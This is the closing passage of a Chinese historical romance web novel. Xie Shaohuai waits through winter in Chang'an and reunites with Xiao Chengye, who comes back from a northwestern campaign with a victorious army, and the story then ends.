吃准了他不舍的说萧澶,但其实这些几年过去,谢少淮的心境早就变了。他时常觉得,即便萧澶不过来说这一句,他也会等萧承野回来之后再说去江南的事情。但这些事情让他自己说出来,就难上许多。 谢少淮揉了揉萧澶的脑袋,“好,快去睡吧,明日还要进宫。” 萧澶咯咯笑了声,“好!” 说罢,萧澶又想了想,“父亲,其实您早就准备等爹爹回来了吧?阿澶昨日见您已经把爹爹的寝衣都备好了,今日您晚饭的时候之所以那么说是不是不想陛下将这件事往后推?” “其实您说舍不得爹爹,皇伯伯肯定能理解的。” 被猜到心思的谢少淮:“……” 要是直接说等萧承野回来,岂不是太……儿戏了些。 年后正月初十,长安城又落下一场寒酥。 瑞雪带着西北的捷报,一连三天未曾停歇。这日谢少淮奉旨给卫岚的大军接驾,正午长安城楼上,谢少淮一袭绯袍矗立在暴雪中。 午时后,将士们的车队还没进城,敦厚的号角声就先响彻天际。 青松撑着伞跟谢少淮在城楼下等着,号角声响过之后不多时,浩浩荡荡的玄甲骑兵开阵,威武庄严地走进了长安城。 萧承野和卫岚骑着战马出现在谢少淮的视野内。 青年将军身着轻甲,寒酥落了他满身,男人不知在人群中找什么,有些匆忙的目光快速略过前来接驾的文武百官。 蓦地,一袭绯袍撞进萧承野的视线内,半年没见过的人就立在纷扬的大雪中,乘着伞朝着他走来—— 萧承野朝他招了招手,唤他:“阿淮!” 谢少淮眸子一亮,步子有些焦急地往风雪走去,青松跟在他身后都有些跟不上了:“公子,别太着急,您都淋着雪啦!” 谢少淮步履匆匆,萧承野下了马儿,抖了抖身上的积雪朝着青年大步流星地走了过来。 直到两人快碰上,谢少淮才觉得自己有些失仪,末了他停下步子,微微喘了口气,只是还没向男人行礼,就被炙热的胸膛抱了个满怀。 萧承野的胸口快速起伏:“阿淮,为夫好想你。” 卫岚带着凯旋的西北玄甲骑兵朝着长乐宫而去,三年狼烟烽火未曾停歇,换来今后大周边境百年安定。 某条小巷里。 萧承野撑着伞牵着谢少淮的手往廷尉府的方向走:“听说江南再有一月都能穿汗衫了,为夫打了打胜仗,这次去了江南阿淮可要好好犒劳为夫——” 谢少淮最听不得萧承野满口房中之事,但今日他倒也不觉得害臊,只木木地嗯了一声,“这些话夜里再说。” “好。” 萧承野轻笑了几声,蓦地横抱着脸上羞色的谢少淮,随后便踏进满城风雪之中。 - 正文完。